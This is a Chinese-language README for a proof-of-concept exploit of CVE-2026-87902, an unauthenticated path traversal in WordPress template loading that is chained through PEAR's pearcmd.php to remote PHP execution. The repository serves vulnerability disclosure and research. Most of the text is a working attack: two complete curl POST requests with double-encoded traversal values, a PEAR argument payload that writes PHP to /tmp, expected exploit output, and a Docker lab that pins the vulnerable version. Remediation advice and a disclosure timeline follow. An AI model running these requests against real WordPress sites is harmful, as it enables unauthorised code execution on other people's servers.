| CVE | CVE-2026-87902 |
| 厂商公告 | GHSA-7hp8-65ch-5whp |
| 技术分析 | CVE-2026-87902: Critical WordPress file inclusion and conditional RCE |
| 受影响版本 | WordPress Core 4.7.0 – 7.1.1(根据公告中各分支的范围,涵盖所有分支);已在 7.0.2 上动态复现 |
| 修复版本 | 7.1.2(7.1 分支)、7.0.6(7.0 分支),以及向下回溯至 4.7.37 的每个分支的补丁(根据公告) |
| 弱点 | CWE-98(include 中文件名控制不当)、CWE-22 / CWE-23(路径遍历) |
| CVSS v3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 高危 |
| CVSS v4.0(补充) | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 严重 |
| 认证要求 | 无——不需要账户、Cookie、nonce、会话、插件或出站请求 |
| 用户交互 | 无 |
| 作者 | Robert Ressl — ressl.ch |
| PoC 验证时间 | 2026-09-22,针对本仓库中的实验环境——参见验证结果 |
WordPress 解析页面模板的调用链从未验证所选文件是否仍位于主题根目录内:
pagename 和 page_id 是公开查询变量,WP::parse_request() 会从匿名 POST 请求体中接受它们。pagename 中的双重编码路径遍历在早期查询清理中作为转义的 %xx 字节存活下来(wp_basename() 无法将 %2f 识别为分隔符,而 sanitize_title_with_dashes() 有意保留有效的字节)。page_id 会选中一个真实已发布的页面,而恶意的 pagename 仍保留在查询对象中。get_page_template() 稍后对该值调用 urldecode(),并将诸如 page-templates/../../../../../../../usr/local/lib/php/pearcmd.php 的候选项添加到模板层级中。locate_template() 和最终的模板加载器仅检查存在性、可读性以及 .php/.html 后缀——从不检查规范化路径是否仍位于允许的主题根目录内——然后 include 它。这就是 WordPress Core 中的一个未认证远程本地文件包含原语。在测试的官方运行时(wordpress:php8.3-apache,它捆绑了 PEAR 且不加载 php.ini,因此 register_argc_argv 为 On)上,该包含被链接到 PEAR 的 pearcmd.php:第一个匿名请求使 config-create 将攻击者控制的 PHP 写入 /tmp,第二个匿名请求包含该文件并以 www-data 身份执行它。
Core 中缺失的路径包含检查才是漏洞所在。PEAR 只是从文件包含到代码执行的其中一条依赖环境的路径——它不是 WordPress 的依赖项,也并非在每个部署中都存在或可用。
已验证的源代码位置(WordPress 7.0.2):
| # | 位置 | 作用 |
|---|---|---|
| 1 | wp-includes/class-wp.php:18,322-330 | pagename 和 page_id 是公开查询变量,从 $_POST 中读取 |
| 2 | wp-includes/class-wp-query.php:2205 | sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f 对 wp_basename() 而言不是分隔符 |
| 3 | wp-includes/formatting.php:2283-2289 | sanitize_title_with_dashes() 保留有效的 %xx 字节而非移除它们 |
| 4 | wp-includes/template.php:492 | $pagename_decoded = urldecode( $pagename ); — 路径遍历在清理之后才生效 |
| 5 | wp-includes/template.php:722-736 | locate_template() 将候选项拼接到每个主题根目录下,仅调用 file_exists() |
| 6 | wp-includes/template-loader.php:116-132 | realpath() 规范化路径,然后 include 执行,没有规范化根目录包含检查 |
| 7 | wp-includes/canonical.php:42-47 | redirect_canonical() 对非 GET/HEAD 请求提前返回,因此 POST 不会被规范化重定向 |
独立的文件包含原语需要:
| # | 前提条件 | 原因 |
|---|---|---|
| 1 | 一个已发布的、可匿名访问的页面,通过数字 page_id 选中 | 在路径名查找失败后,查询必须返回该页面 |
| 2 | 没有更早可解析的自定义页面模板 | 有效的已分配模板排序在恶意候选项之前 |
| 3 | 活动(子或父)主题中存在一个名称以 page- 开头的顶层目录,例如 page-templates/ | WordPress 会前置固定的 page- 前缀,因此 .. 遍历无法从位置 0 开始;该目录只需存在且可遍历——不需要可写 |
| 4 | 一个选中的本地 .php 文件,存在且 PHP 用户可读 | 加载器检查 is_file()/is_readable() 并要求 .php 后缀 |
| 5 | 没有阻止该文件的文件系统限制 | open_basedir 或 MAC 策略可以阻止该包含 |
所演示的 PEAR 阶段还需要一个可读的 pearcmd.php(及其依赖项)、Web SAPI 的 register_argc_argv=On,以及一个可写的输出目录。生产环境的 php.ini 文件设置 register_argc_argv=Off;测试镜像不加载 php.ini,因此编译默认值(On)生效。这是对所演示代码执行链普遍性的重要限制。
捆绑的 Twenty Twenty-Three/Four/Five 主题不附带顶层 page-* 目录,因此原版实验环境需要下文描述的夹具。自定义主题可以合法地使用 page-templates/ 布局(WordPress 文档)。
公告记录了这些条件在已发布软件中出现的位置:主题条件由旧版 Twenty Twelve 和 Twenty Fourteen 主题以及 Neve、Hestia 和 Sydney 等第三方主题满足,而 PEAR 转换适用于官方 PHP Docker 镜像以及运行 PHP 8.5 以下版本的默认 cPanel 配置。(Twenty Twelve 和 Twenty Fourteen 都附带顶层 page-templates/ 目录;其余陈述来自公告。)本仓库未测量完整链条的适用频率。
./lab/up.sh # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py # two anonymous POSTs, prints the proof marker
cve-2026-87902.py 需要 Python 3.6+(仅标准库),默认访问实验环境 http://127.0.0.1:8091。预期输出:
[*] target : http://127.0.0.1:8091
[*] page id : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
成功时退出码为 0,否则为 1,因此该 PoC 也可用作回归/检测检查。
清理:docker compose down -v。
2026-09-22 针对本实验环境运行(Docker 29.4、OrbStack、Apple silicon):
| 检查项 | 结果 |
|---|---|
| 阶段 1 | HTTP 200;/tmp/wp-pear-rce-flag.php 以 www-data:www-data 写入,权限 0644,1219 字节 |
| 载荷 SHA-256 | 460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — 与原始报告中记录的哈希一致 |
| 阶段 2 | HTTP 200;注入的 PHP 打印了权限为 0444 的证明工件 |
| 标记出现次数 | 12(PEAR 将受控的根值序列化到 12 个配置条目中) |
| 使用的凭据 | 无——任何请求中都没有 Cookie 或 Authorization 头 |
| 阴性对照 | 移除 page-templates/ → 阶段 2 返回正常页面,无标记,退出码 1 |
证明工件是容器内的 /flag,由 root 拥有且全局可读(root:root,权限 0444)。它证明以 Web 服务器账户身份执行 PHP 并访问文件;它不是提权目标。
两个匿名 POST。WordPress 路由值在表单体中传递,PEAR 参数在原始查询字符串中传递(PHP 将原始查询字符串按字面 + 拆分为 argv,且不对各个参数进行 URL 解码):
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>" # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php" # output file
阶段 1 — 包含 pearcmd.php 并写入载荷:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'
阶段 2 — 包含生成的文件并运行其 PHP:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'
关键细节:
templates%2f%2e%2e%2f...;清理器保留这些字节,只有 get_page_template() 后期的 urldecode() 才将它们转换为 / 和 ..。page- 前缀。 WordPress 会在值前面加上 page-,因此夹具目录 page-templates/ 对应开头的 templates 段。.php 后缀。 候选项是 page-<decoded>.php,这就是目标不带后缀给出的原因(.../pearcmd、/tmp/wp-pear-rce-flag)。POST 而非 GET。 redirect_canonical() 跳过非 GET/HEAD 请求,而表单体让查询字符串只携带 PEAR 参数。wp_magic_quotes() 也会作用于 $_SERVER,因此服务器构建的 argv 被转义,PEAR 稍后会规范化反斜杠。已验证的载荷使用 chr() 且不包含引号字符。(它简化为 <?=file_get_contents('/flag')?>。)config-create 根路径。 PEAR 拒绝相对根路径(Root directory must be an absolute path beginning with "/"),因此载荷被注入为根路径本身。cve-2026-87902.py 遍历 .. 段直到路径遍历到达目标(本实验环境布局为 7,可用 --depth 固定)。lab/up.sh 执行三个步骤,可安全重复运行:
docker compose up -d --build --wait — 固定 wordpress:7.0.2-php8.3-apache 加 mysql:8.4,端口 127.0.0.1:8091(仅回环)。admin / adminadmin)。wp-content/themes/twentytwentyfive/page-templates/,root:root,权限 0755,空。实验镜像显式添加 register_argc_argv=On(lab/Dockerfile),而非依赖编译默认值,并内置 /flag(root:root,权限 0444,内容 CVE-2026-87902-POC-OK)。
| 组件 | 值 |
|---|---|
| WordPress | 7.0.2(wordpress:7.0.2-php8.3-apache) |
| PHP / SAPI | 8.3.33,Apache 模块 |
| PEAR | 1.10.18,位于 /usr/local/lib/php/pearcmd.php |
| MySQL | 8.4 |
register_argc_argv | On |
| 主题 | Twenty Twenty-Five + 空的 root 拥有的 page-templates/ 夹具 |
| 目标页面 | 已发布的 Sample Page,ID 2,默认模板 |
| 证明工件 | /flag,root:root,权限 0444 |
滚动标签
wordpress:php8.3-apache不适用于本实验环境:该漏洞在 7.1.2 中已修复,未固定的标签会静默地将实验环境变为已修补状态。
已验证或已记录的对照:
page-* 目录 → 固定前缀无法被移除,路径遍历永远不会开始(已验证:移除夹具 → 无标记)。register_argc_argv=Off → 没有 PEAR 写入器,但文件包含原语仍然存在。.. 段数量错误 → 未到达目标(已验证:深度 1-6 和 8-12 在实验环境中不产生标记)。/flag)无法直接读取——候选项会被追加 .php。<、>、= 字节的 WAF/CDN/反向代理会破坏 PEAR 参数通道(因部署而异)。open_basedir/MAC 限制或不可写的输出目录会破坏链条;/tmp 上的 noexec 不会(PHP 读取并解释该文件)。本 PoC 复现了一个已验证的配置。它并不声称每个 WordPress 安装都可被利用,也不测量普遍性。
validate_file()),并在包含已定位模板之前,将候选项和主题根目录的 realpath() 与末尾目录分隔符进行比较。register_argc_argv=Off,从生产镜像中移除未使用的 Web 可读 PEAR 入口点,审计子主题和父主题中的顶层 page-* 目录,并限制 PHP 账户的写访问权限。| 路径 | 用途 |
|---|---|
cve-2026-87902.py | 漏洞利用:页面检测、两个阶段、深度处理、标记验证 |
lab/up.sh | 将实验环境置于漏洞利用所期望的确切状态(幂等) |
docker-compose.yml | WordPress 7.0.2 + MySQL 8.4,仅回环端口 |
lab/Dockerfile | 固定易受攻击的版本,设置 register_argc_argv=On,内置 /flag |
lab/flag | 证明工件的内容 |
| 日期 | 事件 |
|---|---|
| 2026-07-20 | 通过 WordPress HackerOne 项目私下报告 |
| 2026-07-21 | 确认收到 |
| 2026-09-15 | 被告知修复计划在即将发布的版本中进行;要求提供归属细节 |
| 2026-09-22 | WordPress 7.1.2 发布并包含修复;公告 GHSA-7hp8-65ch-5whp 发布 |
该报告在初始分类被修订后被接受为有效的安全发现;通信记录未注明该接受的日期。
本仓库出于防御和研究目的发布。仅对您拥有或明确授权测试的系统使用它。实验环境绑定到 127.0.0.1,不得暴露给不受信任的网络。
MIT — 参见 LICENSE。引用元数据位于 CITATION.cff:
Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch
漏洞报告和本 PoC 在组织和一致性审查方面借助了 AI 协助;研究人员对技术主张负责。